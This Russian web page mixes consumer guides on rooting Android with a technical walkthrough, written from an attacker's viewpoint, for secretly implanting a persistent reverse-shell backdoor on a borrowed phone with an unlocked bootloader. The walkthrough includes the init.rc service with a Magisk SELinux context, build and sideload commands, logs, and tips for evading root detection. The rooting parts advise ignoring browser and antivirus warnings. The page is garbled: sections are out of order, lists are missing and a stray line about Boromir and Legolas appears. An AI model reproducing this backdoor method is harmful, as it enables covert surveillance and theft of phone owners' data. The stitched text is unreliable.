Что такой root права и как их получить на андроид

Рут-доступ позволяет удалять ненужные приложения по умолчанию

Очень мало устройств поставляется с «чистым» Android. Большинство производителей, в том числе, сам Google, предустанавливают на телефон массу приложений по умолчанию (так называемые bloatware), многие из которых просто не нужны и без толку занимают память. С правами суперпользователя вы можете удалить все эти приложения, получив свои честные 32 Гбайт, половина из которых была забита приложениями от производителя.

Получение удалённого доступа

Для android существует популярная полезная нагрузка в Metasploit фреймворке которая теоретически может дать нам удалённый доступ к устройству – android/meterpreter/reverse_tcp, однако с ней есть проблемы:

Для того, чтобы агент мог без проблем поддерживать себя постоянно запущенным, не отсвечивать в операционной системе и не попадать под регулирования и ограничения для установленных приложений, необходимо оформить его в виде системного сервиса — демона.

Для того, чтобы понять как именно это сделать, нужно вернуться к процессу загрузки системы, однако теперь мы верхнеуровнево рассмотрим оставшуюся её часть происходящую сразу после рассмотренного в начале boot flow, т.е. когда загрузчик загрузил раздел boot, отработал механизм verified boot и система получила добро на запуск:

Судя по всему, для внедрения в систему в качестве демона нам потребуется подготовить исполняемый файл с полезной нагрузкой и описать системный сервис, который будет его вызывать.

Исходный init.rc импортирует дополнительные скрипты из нескольких директорий, в том числе и основного источника этих скриптов из системного раздела: /system/etc/init/.rc, поэтому мы подготовим свой скрипт и поместим его туда.

Синтаксис .rc скриптов несложный, он хорошо описан здесь, а ещё можно подглядеть в то, как именно он устроен просто заглянув в файлы в вышеупомянутой директории.

Подготовим описание нашего сервиса:

service revshell /system/bin/revshell
disabled
shutdown critical

on property:sys.boot_completed=1
start revshell

Укажем название сервиса revshell.

Путь к исполняемому файлу будет лежать в стандартной директории для бинарников в android. Агента мы поместим именно туда.

disabled означает то, что его не нужно загружать непосредственно в процессе загрузки системы сразу после обработки скрипта. Мы будем стартовать сервис специальным триггером, который ориентруется на объявление проперти sys.boot_completed.

shutdown critical означает то, что сервис критический и не должен убиваться даже при подаче сигнала о выключении системы.

План таков: система запустит нашего агента при загрузке до попадания на экран ввода кода разблокировки. Агент ожидает расшифровки файловой системы. После того как владелец устройства введёт код разблокировки, агент запускает reverse-shell и предоставляет нам доступ в систему с возможностью достать любые файлы.

На системный сервис не распространяются правила OOM-киллера и правила энергосбережения, он не будет остановлен если в системе заканчивается память, или она уснёт. В случае завершения процесса сервиса по любой причине, система будет его рестартовать не позднее чем через 5 секунд. Даже в случае если сервис не может запуститься и его процесс падает, система никогда на бросит попыток его запустить и будет продолжать делать это пока продолжает работать.

Выглядит как раз как то что нам нужно, однако тут нашим ожиданиям суждено встретиться с суровыми реальностями организации безопасности в android. Если мы попытаемся установить сервис подобным образом, то система его проигнорирует, а dmesg сообщит нам что-то похожее на это:

Преимущества и недостатки рутинга

После того, как рут права на Андроид будут установлены, возможности управления смартфона возрастают в несколько раз. Можно будет удалить, какое захотите приложение, включая то, что было установлено совместно с операционкой. Вот только следует быть аккуратнее, ведь вы можете убирать все, что угодно, так что риск удаления одного из системных компонентов тоже возрастает. А это в свою очередь может привести к тому, что система начнет работать неправильно. Лучше не избавляться от программ, о которых вы не знаете, потому как удаление составляющих системы в некоторых случаях может привести даже к полному отказу работы аппарата.

Стоит помнить, что множество утилит связаны с оболочкой ОС, так что их удаление повлечет за собой некорректную работу остальных программ. К подобному софту можно отнести:

Лучше оставлять эти объекты без изменений.

Постановка задачи

Итак, представим ситуацию, мы – злоумышленник, получивший на некоторое время в свои руки смартфон. Устройство – смартфон на базе android с разблокированным загрузчиком. Устройство имеет встроенное шифрование хранилища, его тип – аппаратный, т.е. ключи хранятся в TEE. Устройство заблокировано, для разблокировки необходимо ввести пин-код. Причём устройство находится в BFU (before-first-unlock) состоянии, это значит, что после включения устройства код разблокировки не вводился ни разу и файловая система зашифрована. На устройстве не включен режим отладки и подключиться по adb к нему невозможно. В нём содержатся данные, которые нам необходимо изъять. Устройство нужно будет вернуть владельцу, неповреждённое, в рабочем состоянии, причём владельцу не должно бросаться в глаза что его устройство было скомпрометировано.

Звучит как невыполнимая задача, и так бы оно и было, если бы нам любезно не открыл дверь сам владелец. Современные смартфоны очень хороши с точки зрения безопасности. Возможная поверхность атаки у них крайне мала. В последних версиях ОС android сделано очень многое для защиты данных пользователей. Защита системы выстроена в несколько уровней. Данные шифруются, подписи проверяются, ключи хранятся аппаратно. Везде используется подход «least privilege» – запрещено всё что не разрешено. Приложения работают в рамках серьёзных ограничений. Можно смело утверждать, что современные смартфоны являются одними из лучших примеров безопасных устройств, которые создавал человек.

Если пользователь не совершает явно странные действия вроде скачивания странных apk со странных ресурсов и не выдаёт им явно руками привилегий администратора устройства, то навредить пользователю или украсть его данные довольно затруднительно. И даже эти проблемы являются скорее не дырами в безопасности системы, а следствием свободы, которую android предоставляет пользователям, однако не все распоряжаются ей правильно. Прошли времена, когда безопасность android была поводом для шуток. На сайте известного брокера эксплоитов, компании Zerodium, FCP — full-chain with persistence или полная цепочка удалённой эксплуатации устройства с закреплением в системе в настоящий момент является самым дорогим эксплоитом, за который компания готова выложить до двух с половиной миллионов долларов.

Разблокированный загрузчик роняет уровень сложности этой задачи от невозможного до тривиального. Почему-то тема опасности открытых загрузчиков поднимается довольно редко, и, мне кажется, её значимость здорово недооценена, поэтому давайте разбираться.

Код с примером будет приведён довольно упрощённый и не в самом изощрённом варианте, но рабочий и явно демонстрирующий то, как именно это работает.

Все действия я проводил на устройствах на OnePlus 5T (он же dumpling по принятой в android device tree классификации) на стоковой OxygenOS и LineageOS с версиями соответствующими android 9 и 10, и XiaomiMI6 (он же sagit). Из-за этого некоторые нюансы структуры разделов, и выводы некоторых команд у вас могут отличаться, но общая суть происходящего не изменится.

Я буду часто ссылаться на ресурс source.android.com. Это примерно тоже самое что и developer.android.com но не для разработчиков приложений, а для разработчиков устройств. Там хорошо описана работа ОС, системных компонентов, и т.д. Очень рекомендую, вряд ли где-то можно найти более структурированную информацию по устройству системы.

Что ещё можно сделать?

Данный вариант установки бэкдора довольно грубый. Внедрение происходит напрямую в системный раздел, что неплохо, но можно сделать лучше. Например, несмотря на то что простенькие root-детекторы его не обнаружат, изменённое состояние system раздела точно не позволит пройти проверку SafetyNet, хотя можно попробовать поиграть с исходниками MagiskHide и заточить их под свои нужды. Логичным продолжением будет хранение нужных файлов отдельно и монтирование их поверх системного раздела таким же образом каким magisk доставляет в файловую систему свои файлы. Продолжая мысль ещё дальше можно попробовать внедриться напрямую в ramdisk и прямо оттуда прокинуть его в файловую систему и смонтировать поверх system.

Как удалить рут?

Может случиться так, что вы успешно получили то, что хотели, стали суперпользователем, но что-то идет не так. Стоит задуматься об удалении прав, если появились следующие сложности:

Убрать root права с аппарата можно:

Через ПК можно сделать перепрошивку оборудования. На всех прошивках ОС Андроид нет доступа рут. Так что обновление или даже смена операционки помогает отказаться от возможностей суперпользователя. Данный вариант достаточно трудоемкий, если ищите что-то попроще, удаляйте root через программу. В этом поможет утилита SuperSU, как я уже отмечал, ее можно найти в Плей Маркет:

Этот процесс также занимает длительное время, так что не пугайтесь. При обдуманном и бережном подходе, грамотном рутировании, можно получить уникальную возможность управления своим аппаратом, и по своему желанию изменять его работу. Я рассказал вам, как установить на Андроид рут права, а выбор способа всегда остается за вами. В этом деле не стоит спешить, лучше все делать последовательно.

Рут-права дают возможность установить приложения, требующие особых разрешений

Google достаточно лояльна к разработчикам приложений и разрешает доступ ко многим системным файлам Android. Но некоторые функции — например, полный доступ к файловой системе или автоматическое включение GPS — для приложений недоступны. Рут-доступ позволит вам установить продвинутый файловый менеджер или любое другое приложение, которому слишком тесно в «нерутованной» системе.

Для чего используются root-права

Перечислим основные причины, для чего пользователю могут понадобиться root-права.

Стоит также учитывать ряд проблем, которые может вызвать получение данных прав. Во-первых, вы можете потерять гарантию на ваш смартфон. Во-вторых, устройство может выйти из строя, если вы что-то сделали не правильно. Также увеличивается шанс словить вирус на ваш смартфон. Поэтому вам следует очень внимательно проверять все скачиваемые файлы. Также имеется ряд программ, которые не будут работать на устройстве, на котором получен root-доступ. Например, приложения банков (хотя имеются специальные программы для маскировки рут, но они не всегда работают успешно). И наконец, последняя сложность: у вас возникнет проблема с обновлением операционной системы — вы не сможете обновлять ее через настройки телефона и вам придется устанавливать для этой цели дополнительные утилиты.

Таким образом, перед тем, как обеспечить себе root-права, позаботьтесь о том, что вы знаете и понимаете что и для чего делаете.

Вообще лучше всего такую работу передать специалисту. Найти хороших мастеров по ремонту и перепрошивке смартфонов в Санкт-Петербурге и других городах вы можете здесь: https://sankt-peterburg.servicerating.ru/mobilnye-telefonyhttps://sankt-peterburg.servicerating.ru/

Но, если вы уверены в своих знаниях — читайте дальше!

Отключение от сервисов Google может привести к неработоспособности системы

Если отвязываться от Google, то придется делать это с умом и очень аккуратно. Бездумно выключив все сервисы и отвязав аккаунт, вы можете остаться с неработоспособной системой, которая будет требовать аккаунта Google. Или с такой, на которую ни приложение не поставишь, ни в интернет не выйдешь. Такой смартфон проще поменять на кнопочный «кирпич» из нашей подборки — разницы не будет никакой.

Таким образом, делать или не делать «рут» — выбор за вами. Если вы уверены в себе — почитайте в нашем гиде, как это сделать.

А вот еще несколько полезных статей для владельцев Android:

При получении рут-прав вы теряете гарантию

Если, получив рут-доступ, вы бездумно броситесь стирать все подряд, чтобы высвободить память, то есть риск удалить что-то, критически необходимое для работы Android. И телефон перестанет включаться или выдаст ошибку, зависнет и просто откажется работать. А починить его по гарантии не получится. Почему? Ошибка возникла не по вине производителя — вы произвели взлом устройства, и вся ответственность за нее теперь лежит на вас.

Рут-доступ позволяет установить кастомную прошивку

То есть, коротко говоря, переустановить систему на смартфоне на какую-нибудь другую (как заменить Windows на Linux на компьютере). Прошивок для Android масса, самая популярная — CyanogenMod, которая отличается простотой использования, легкостью и массой оптимизаций. На ее основе даже Xiaomi сделали свой MIUI. Получив права суперпользователя, вы сможете перепрошить свой телефон чем угодно, подключив его к ПК по USB.

Процесс рутинга может различаться для различных устройств, но обычно он состоит из следующих этапов:

Для управления правами используются приложения SuperSU и Magisk с графическим интерфейсом.

Мой набор Magisk-модулей

Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.

Получали ли вы Root на своем устройстве?

Нет и не планирую

Нет, но хочу попробовать

Да, но сейчас не имею

Да, пользуюсь root-правами

Проголосовали 127 пользователей.

Воздержались 9 пользователей.

Включение рут-доступа через ПК

Существует несколько программ для ПК, с помощью которых активируется рут-доступ к ОС Андроид. Рассмотрим пару наиболее популярных дистрибутивов.

Root-доступ с помощью Kingo Android Root

Один из наиболее популярных дистрибутивов для включения прав суперпользователя. Программа рассчитана в том числе на неподготовленных пользователей. Как утверждают разработчики, открытие полного доступа к Андроид можно выполнить «в один клик». Посмотрим, так ли это.

После перезагрузки смартфона на экране появилось меню управления Kingo Root. Остается выбрать, какие действия вы хотите совершить со своим андроид-устройством, обладая правами полного доступа. Меню русифицировано, навигация и управление настройками проблем не вызывают.

Включение Root с помощью дистрибутива VRoot

Программа рутирования андроид-устройств китайского производства. Полезна в первую очередь тем, что позволяет взламывать операционку небрендированных смартфонов и планшетов, работает на старых версиях ОС Android.

Рутируем с помощью утилиты, которая устанавливается на гаджет

Пользователей, использующих Гугл Chrome, сервис обычно предупреждает о небезопасности ресурса – можете смело игнорировать это уведомление и действовать дальше. Загруженный продукт, имеющий расширение .apk отправляем на флешку мобильного аппарата или его собственную память. Для правильной и безопасной установки утилиты на свой гаджет, следует разрешить в параметрах безопасности Андроида работу со сторонним софтом, закачанным не из магазина Плей Маркет.

Теперь можно переходить к инсталляции приложения. Через проводник ищете файл с расширением .apk, открываете его, даете согласие на установку и дожидаетесь, пока продукт активируется на аппарате.

Также необходимо выбрать одного из несуществующих персонажей Boromir, Legolas или того, кто будет доступен.

Если все прошло успешно и результат достигнут, на дисплее высветится уведомление со смайлом «:-)».

В обратном случае программа отметит, что рутирование не получилось. В такой ситуации придется искать альтернативные варианты для безопасного получения права «всемогущего» юзера на свой Андроид.

Подготовка к включению Root

Чтобы расшарить полный доступ к системе Android через программу на ПК, требуется произвести ряд предварительных действий на смартфоне или планшете:

Теперь вы можете инсталлировать и устанавливать .apk-файлы, программы из любых источников с компьютера или непосредственно на андроид-устройстве.

Зачем нужны root-права?

Честно говоря, когда мне задают вопрос, зачем я получал root-права на своем девайсе, я иногда впадаю в ступор, поскольку использую какое-то специфичное ПО, требующее таких разрешений достаточно редко и точечно.

Как хорошие примеры могу привести эффективное использование программ-firewalls, которые с помощью расширенных прав могут более гибко и эффективно контролировать траффик. Также, программы предназначенные для очистки «мусорных» файлов работают гораздо эффективнее, как и разнообразные файловые менеджеры, которые могут позволить вам редактировать системные файлы. Программы для резервного копирования приложений могут сохранять все данные приложения.

Отдельно хотелось бы упомянуть Xposed Framework — специализированное ПО в виде фреймворка, позволяющее одним приложениям изменять поведение системных функций Android в других приложениях и получать более полный доступ к их ресурсам. Например, именно на этом принципе основан Xposed-модуль для перевода текста на любой язык прямо в целевом приложении.

Получив рут-доступ, вы теряете возможность обновления прошивки

Даже если вы не будете перепрошивать телефон, получив права администратора, вы автоматически отключаетесь от сервиса автообновления прошивки телефона. И новые версии Android с новыми «фишками» станут вам недоступны — система останется в том состоянии, в котором была на момент «рутования». Хотя, вообще, позволять или не позволять Android обновляться — достаточно спорный вопрос.

Внедряемся в систему без установленных root-прав

Первое приходит на ум мысль о том, что мы можем просто взять устройство с которого хотим извлечь данные, прошить в него magisk используя TWRP, а затем, сразу же следом прошить наш бэкдор. Технически это сработает, т.к. вместе с magisk установятся и его политики SELinux, благодаря которым он сможет работать, но в этом случае, пользователь сразу же поймёт, что что-то не так. Он не устанавливал magisk, а magisk на устройстве есть. Значит, в то время как устройство было изъято злоумышленником, он что-то в него прошивал. Пользователь не сможет заметить этого до того как введёт код разблокировки, однако проблема в том что во время разблокировки интернет на устройстве пользователя может быть выключен, мы не получим удалённый доступ, а пользователь, обнаружив то что в его устройство пытались что-то прошить может удалить необходимую информацию, удалить magisk, начать разбираться что не так, обнаружить бэкдор, или просто сбросить телефон до заводских настроек вследствие чего интересующие нас данные будут уничтожены. Если на устройстве пользователя стоит какое-либо антивирусное решение, то оно может поднять тревогу, если обнаружит что в системе появились root-права полученные через magisk.

Нам нужно постараться любой ценой избежать обнаружения, поскольку от этого зависит получится у нас изъять данные или нет. По сути, нам, в общем-то, не нужны root-права в обычном понимании, нам не нужен терминал с uid=0 для того, чтобы вводить какие-то команды. Нам не нужен исполняемый файл su, т.к. uid=0 мы можем получить и от процесса init. Нам не нужны и сторонние инструменты, которые поставляются с magisk. Нам не нужно приложение MagiskManager. Всё что нас интересует – это контекст u:r:magisk:s0. Получим контекст – получим удалённый доступ.

Нам не только не нужно всё вышеперечисленное, нам очень желательно ничего из этого не устанавливать, т.к. это – маркеры компрометации. Если пользователь запустит какую-нибудь популярную проверку на root, то она нас обнаружит, это же может случиться и в одном из приложений, установленных на его устройстве, оно обнаружит что на телефоне установлены root-права и уведомит пользователя об этом.

Обнаружить root-права на устройстве, в частности magisk, можно по-разному. Можно банально проверить наличие установленного менеджера в системе или попытаться найти испоняемый файл su или magisk (magisk создаёт символическую ссылку su которая на самом деле указывает на исполняемый файл magisk)

Интересный факт: начиная с android 10 в системе появилась служба APEX отвечающая за более простой подход к доставке обновлений системных компонентов. Её идея в том, чтобы добавить в android возможность выборочно доставлять обновления частей системы: добавлять новые и заменять существующие системные библиотеки и части android фреймворка, и главное делать это небольшими пакетами, без необходимости загружать и устанавливать полные образы всех разделов целиком. Более того всё это ложится в стандартную модель управления пакетами в android. То есть идея в том, что это нечто вроде apk, но не для приложений, а для самой ОС. Это критически важно для безопасности, например для того, чтобы в случае обнаружения какой-нибудь новой серьёзной уязвимости в системной библиотеке, как это например случалось с libstagefright когда 95% устройств на рынке были подвержены уязвимости, а обновления до многих устройств шли долгие месяцы, Google мог в течение нескольких часов доставить обновление с заплаткой на 100% устройств которые поддерживают apex. Иронично то, что этот механизм ну очень сильно похож по принципу действия на работу модулей magisk, и на то, как они монтируются поверх системы через зеркала. Я могу только предполагать это, но не исключено, что ребята, которые игрались с безопасностью android устройств и «хакали» их по фану, вдохновили своими подходами системных разработчиков android, которые построили на этом систему обновлений, которая сделает каждое из наших устройств неприступнее для злоумышленников. По-моему, это прекрасно.

Возвращаясь к magisk, особенностью такого подхода является то, что magisk создаёт множество лишних точек монтирования, особенно если установлено много magisk-модулей.

Можно поискать в файловой системе файлы, содержащие в названии magisk, и обнаружить исполняемые файлы:

Ещё больше можно увидеть с root-правами:

Ещё magisk добавляет права на запись в некоторые места файловой системы, где этих прав явно быть не должно, и некоторые приложения для обнаружения root-прав обнаруживают его из-за этого.

Вообще-то, magisk очень хорошо умеет прятаться от других процессов с помощью сервиса MagiskHide, который умеет прятать все точки монтирования и даже заменять некоторые свойства в системе, однако от человека, который будет исследовать файловую систему устройства, особенно до загрузки системы, спрятаться не получится. Поэтому технически подкованный пользователь быстро обнаружит наличие magisk на своём устройстве. Для наших целей это не подходит, т.к. если мы будем обнаружены, данные будет не извлечь.

Это значит, что вместо грубой установки magisk нужно поступить красиво – необходимо разобраться с тем, как именно он закрепляется в системе и как заставляет init загрузить ненастоящие политики SELinux.

План таков: мы возьмём исходники magisk и соберём из них инструмент, который будет внедрять в систему всемогущий контекст u:r:magisk:s0, но больше не будет делать ничего. То есть наша задача сводится к тому, чтобы вместо magisk установить на устройство только политики magisk.

Для начала нам нужно понять как именно magisk внедряется в систему. Суть установки magisk в следующем:

По окончанию мы получаем раздел boot, в котором во время запуска системы, между тем как ядро вызывает запуск процесса init и реальным запуском процесса init появляется окно, в котором magisk подготавливает всё необходимое для своей работы во время уже запущенной системы.

Если очень грубо, то работает это так: magiskinit запускается, находит файл с политиками, патчит его добавляя в него политики необходимые для работы magisk после запуска системы, добавляет в init.rc записи которые запустят сервис magiskd во время загрузки системы после чего запускает оригинальный init, который загружает уже пропатченные политики вместо оригинальных, а далее загрузка происходит привычным образом. На деле, в этом процессе есть огромное множество нюансов.

Во-первых, ramdisk у нас доступен только на чтение. Мы не можем взять и переписать boot раздел по своему желанию, и применить изменения на постоянной основе, поэтому все манипуляции над файлами выполняются в ОЗУ, заново, при каждом запуске системы.

Во-вторых, начиная с android 9, и далее в 10 и 11 очень сильно менялся подход к организации файловой системы во время работы устройства, организации хранения файла с политиками и вообще самого процесса запуска.

До android 9 скомпилированные политики SELinux всегда упаковывались в boot раздел и лежали прямо рядом с ядром, затем появился механизм split-policy, когда для каждого из основных разделов (system, vendor, иногда бывает ещё product), политики компилируются и хранятся отдельно.

Для magiskinit это значит то, что при запуске ему нужно смонтировать все эти разделы, собрать оттуда отдельные файлы с политиками, распарсить, упаковать и сложить в единый файл, найти ему место в файловой системе (которое тоже зависит от многих факторов и версии android), после чего брутально пропатчить прямо в бинарном виде исполняемый файл init – найти место где в условной конструкции выбирается тип политики, принудительно заменить его со split-policy на mono-policy и заменить путь к файлу с политиками на тот что был получен в предыдущем шаге.

Бинарного файла init, пригодного для модификации может и не быть, потому что на некоторых устройствах есть 2SI – two-stage-init или двухэтапный запуск init. Это подход, в котором исходный init файл из ramdisk не запускает систему, вместо этого он монтирует раздел с системой и уже из него запускает /system/bin/init. В этом случае magiskinit придётся не менее брутально прямо в бинарном виде патчить libselinux в системном разделе.

А есть ещё в android подход system-as-root, который обязателен для сборок android 10+. От него зависит что именно будет корнем файловой системы ramdisk или system. И оба этих случая magiskinit обязан учитывать. А ещё в некоторых условиях на некоторых устройствах ramdisk может вообще отсутствовать.

Если интересно узнать подробнее, то разработчик magisk очень хорошо и доступно описал как устроены все эти хитросплетения с запуском init. Я полагаю, что для разработчиков magisk это чистая боль, если раньше процесс загрузки был достаточно единообразным и бесхитростным, то теперь разработчики magisk тратят огромные усилия чтобы подстраиваться под это, а учитывая темп выхода новых версий android, делать это очень непросто.

Тем не менее, для нашей задачи внутреннее устройство magiskinit интересует нас только для того, чтобы понять, как именно внедрить нужные нам изменения в скомпилированные политики и отбросить всё остальное.

В исходниках нас будут интересовать в основном только файлы из директории init. Вкратце, список изменений которые были внесены в код:

На выходе получаем нечто, что можно назвать magisk без magisk. Он будет патчить политики SELinux до запуска init, подкладывая туда всемогущий контекст u:r:magisk:s0, но на этом всё – никакого функционала root-прав и всего такого прочего.

Теперь можно начинать.

С развитием альтернативных прошивок, таких как CyanogenMod, MIUI и других, производители пересмотрели свою позицию по рутингу и установке неофициальных прошивок. Они либо поставляют устройства с разблокированным загрузчиком либо предоставляют возможность его разблокировки пользователем. Помимо этого, в CyanogenMod и некоторых других кастомных прошивках имеются по умолчанию все функции root-профиля.

Способы получения Root-прав

Для получения root прав используются различные кастомные рекавери, такие как TWRP, OrangeFox Recovery или CWM, после чего требуется прошить zip-файл SuperSu или Magisk. Также для Magisk имеется способ использующий изменение boot.img в системе, используя его замену с помощью ADB.

На данный момент существует два варианта получения прав root:

Эти программы не используют эксплоиты для получения root прав., а также не используют ПК в большинстве случаев.

Проверяем на реальном устройстве

Ловить удалённое подключение от устройства будем на Kali в виртуалке. Для этого на ней сгенерируем пейлоад:

И настроим слушатель:

После этого возвращаемся на хост машину.

$ git clone https://github.com/LuigiVampa92/unlocked-bootloader-backdoor-demo.git
$ cd unlocked-bootloader-backdoor-demo

Исполняемый файл по пути revshell/revshell заменим на нагрузку сгенерированную в Kali. После этого приступим к сборке.

Создадим для скрипта сборки переменную окружения, указывающую на абсолютный путь к android-sdk (зависит от вашей операционной системы):

$ ANDROID_SDK_ROOT=/usr/lib/android-sdk
$ export ANDROID_SDK_ROOT

Подготавливаем NDK для сборки. Это нужно сделать именно через установочный скрипт, т.к. скрипту будет нужен отдельный изолированный инстанс NDK для сборки и рассчитывать он будет именно на него:

$ ./buildrevshell.py ndk

Собранные пакеты будут лежать в директории out.

Переходим к установке.

Сперва перезагружаем устройство в режим fastboot. На разных устройствах это делается по-разному. В большинстве случаев необходимо выключить устройство, зажать одну из физических кнопок регулирования громкости (например кнопку прибавления громкости) и не отпуская её нажать на несколько секунд кнопку питания.

$ fastboot boot twrp.img

Небольшое важное отступление. Я смог проверить работу только на устройствах которыми располагаю сам. Среди них были устройства на android 9 и 10, LineageOS 16 и 17, с классическим init как в старых системах и two-stage-init + system-as-root. Среди них не было устройств с system-as-root на android 9 и устройств с A/B партициями. Поэтому если конфигурация вашего устройства отличается, то на нём могут возникнуть непредвиденные проблемы. Я рекомендую сделать бэкапы важных разделов и сохранить их для того, чтобы иметь возможность восстановить их руками, в случае если что-то пойдёт не по плану.

Обычно это будет раздел boot, сделать его бэкап после загрузки TWRP можно так:

Проверьте есть ли у вас отдельные разделы для DTB, для этого зайдите в adb shell и выполните:

Если увидите в списке dtb, dtbo и dtbs, то сделайте и их бэкапы тоже.

Ещё пара дежурных предупреждений:

Поехали. Запускаем sideload через GUI (Меню/Advanced/Sideload) или из терминала:

$ adb shell ‘twrp sideload’

$ adb sideload zip_reverse_shell_install.zip

Важно! Здесь в зависимости от того был ли на устройстве предварительно установлен magisk или нет будет пропатчен или не пропатчен boot раздел. Если на устройстве magisk ранее установлен не был, то необходимо будет сохранить бэкапы оригинальных разделов. Сделать это нужно обязательно, даже если предварительно сделали бэкапы руками, иначе удалять наш инструмент также придётся руками, потому что деинсталлятор будет полагаться на наличие именно этих бэкапов, именно в этом формате. В логе TWRP тоже вылезет большое предупреждение об этом.

Вытаскиваем бэкапы с устройства:

$ adb pull /tmp/backup_original_partitions .

Теперь можно выключить или перезагрузить устройство.

Удаление с устройства производится в обратном порядке:

Перезагружаемся в fastboot

Если сохраняли бэкапы во время установки, то вызываем:

$ adb push backuporignialpartitions /tmp/backuporignialpartitions

$ adb shell ‘twrp sideload’
$ adb sideload zip_reverse_shell_uninstall.zip

Легальные root-права и LineageOS

На отладочных типах сборок отсутствует исполняемый файл su, а получение легального root-доступа на них осуществляется с помощью перезапуска демона adbd с помощью команды adb root. Технически это реализовано в виде простого условия в коде adb. При запуске демон adb всегда стартует от root, но в определённый момент дропает свои привилегии до shell. На нерелизных сборках получив команду adb root он не понижает свои привилегии до shell, а пользователь получает возможность полноценно работать от пользователя root. Специально для того, чтобы adb мог таким образом предоставить полноценный доступ к системе существует специальный контекст u:r:su:s0, который собирается и включается в политики если сборка не является релизной. Он до конца разрешает процессу adb всё что в обычном случае было бы запрещено SELinux.

Похожим образом «легально» root-права получает addonsu, который поставлялся вместе с LineageOS до версии 16 включительно (сейчас он deprecated). Он использует подход с записью исполняемого файла su в директорию /system/bin в разделе system, а также с демоном, который обладает заготовленным контекстом SELinux и может запускаться и останавливаться в зависимости от настроек системы и предоставлять доступ к оболочке с правами root если это разрешит делать пользователь. Тем не менее, с технической точки зрения, подход используется тот же самый. Разработчики LineageOS специально закладывают в исходный код правила для addonsu, они не знают, будет ли владелец пользоваться им или нет, но если всё-таки будет, то файлу su будут нужны эти политики, поэтому их вносят в *.te файлы в исходный код.

$ adb shell
$ su
# id
uid=0(root) gid=0(root) groups=0(root) context=u:r:sudaemon:s0

$ adb root
adbd cannot run as root in production builds

Мы не можем полагаться на то, что телефон с разблокированным загрузчиком будет и содержать LineageOS, и иметь включённый режим adb, к тому же контексту u:r:init:s0 запрещён transition в контекст u:r:su:s0, поэтому закрепиться в качестве системного демона подобным образом всё равно не получится, а значит для извлечения данных нам необходимо воспользоваться другим подходом.

Внедряемся в систему с установленными root-правами

Внесём небольшое изменение, добавим в описание нашего демона seclabel который определяет какой SELinux контекст должен назначить init для запущенного системного сервиса:

service revshell /system/bin/revshell
disabled
seclabel u:r:magisk:s0
shutdown critical

on property:sys.boot_completed=1
start revshell

Подготовим исполняемый файл для демона и соберём его под arm64.

Я использую именно такой подход для демонстрации работы, потому что так легко понять что сервис работает просто подключившись к logcat и почитав логи. Наш исполняемый файл работает следующим образом: запускается, скидывает в логи приветственное сообщение, далее он ожидает расшифровки хранилища, для этого он полагается на то что внутри директории с приватными хранилищами приложений появится запись содержащая строку «android», которая присутствует в имени пакета многих системных приложений, после этого он сбрасывает в логи запись о том что хранилище расшифровано и запускается reverse-shell, а дальше просто раз в пять секунд сбрасывает в логи сообщение о том что он запущен и работает.

Перезагрузимся в TWRP, смонтируем system и скопируем получившийся исполняемый файл в /system/bin/revshell, а скрипт демона в /system/etc/init/revshell.rc

Перезагружаем устройство и начинаем слушать логи:

Когда система загрузилась, и показался экран ввода кода разблокировки видим в логах следующее:

Отлично, хранилище ещё не расшифровано, но демон успешно запустился и работает, трюк с seclabel u:r:magisk:s0 сработал!

Вводим код разблокировки и видим в логах:

01-31 23:42:27.597 3589 3589 D revshell: FS has been decrypted!
01-31 23:42:27.597 3589 3589 D revshell: Starting reverse shell now
01-31 23:42:32.597 3589 3589 D revshell: tick ! 25 seconds since process started
01-31 23:42:37.598 3589 3589 D revshell: tick ! 30 seconds since process started
01-31 23:42:42.599 3589 3589 D revshell: tick ! 35 seconds since process started
01-31 23:42:47.600 3589 3589 D revshell: tick ! 40 seconds since process started

Посмотрим, через adb запущенные процессы и увидим там наш демон:

Он запущен процессом init, как системный сервис, убить его без root-прав мы не можем:

$ kill -9 3589
/system/bin/sh: kill: 3589: Operation not permitted

А убив его c root-правами, увидим что он тут же был перезапущен системой, потому что именно так система поступает с критическими системными сервисами:

Отлично. Это уже похоже на успех. У нас получилось внедрить исполняемый файл, который может открыть нам удалённый доступ к устройству прямо в смартфон с зашифрованным хранилищем. Мы смогли его запустить и нам не пришлось разблокировать смартфон, не пришлось ничего расшифровывать. Достаточно было знать об особенностях шифрования хранилища в смартфонах и о возможностях которые дал нам разблокированный загрузчик.

Однако пока что мы полагаемся на права, которые нам предоставил SELinux контекст маджиска, а для извлечения данных нам необходимо уметь запустить такой же демон, но на любом устройстве, в том числе на устройстве без root-прав.

Как получить рут-права?

Существует два способа получения прав суперпользователя:

Имея права суперпользователя, действуйте по принципу «не навреди». То есть, если вы не знаете, что это за параметр в меню, лучшее не менять ее значение. Если обычный пользователь при всем желании не может вывести смартфон из строя программным путем, то обладатель рут-прав — вполне. И не забывайте делать на ПК бекап всего важного на смартфоне, чтобы в случае проблем информация не исчезла безвозвратно.

Вот еще пара интересных тем для владельцев смартфонов:

Получение рут-доступа непосредственно на андроид-устройстве

Подготовка к подключению

Прежде чем включить рут-доступ, необходимо посвятить время подготовительному процессу, который поможет избежать проблем в процессе получения расширенных полномочий:

Соблюдение рекомендаций поможет вам избежать «окирпичивания» устройства при выполнении столь опасной и ответственной процедуры. Действуйте строго по инструкции, не отклоняясь от предложенного алгоритма.

Другие способы рутирования

Хотите взломать Андроид «по-настоящему»? Воспользуйтесь одним из лучших приложений для получения рута, разработанным известным хакером Geohot. После установки и запуска программы достаточно нажать кнопку «Make it ra1n» и перезагрузить устройство. Ваш антивирус начнет предупреждать об опасности. Как утверждают разработчики, на это не стоит обращать внимание: программа содержит скрипты на обход защиты системы, а так же на патч ядра и прошивки.

Установка рут-прав полного доступа к системе Андроид зависит от многих факторов. Некоторые программы взлома достаточно универсальны. Другие поддерживают только определенные прошивки и модели смартфонов. Root-доступ предоставляет большие возможности по настройке ОС Android. Например, можно попробовать сменить старую версию ОС на последний релиз Андроид. Но и сопряжен с определенными рисками. Поэтому включать режим Root рекомендуется только тщательно взвесив свои способности «Суперпользователя».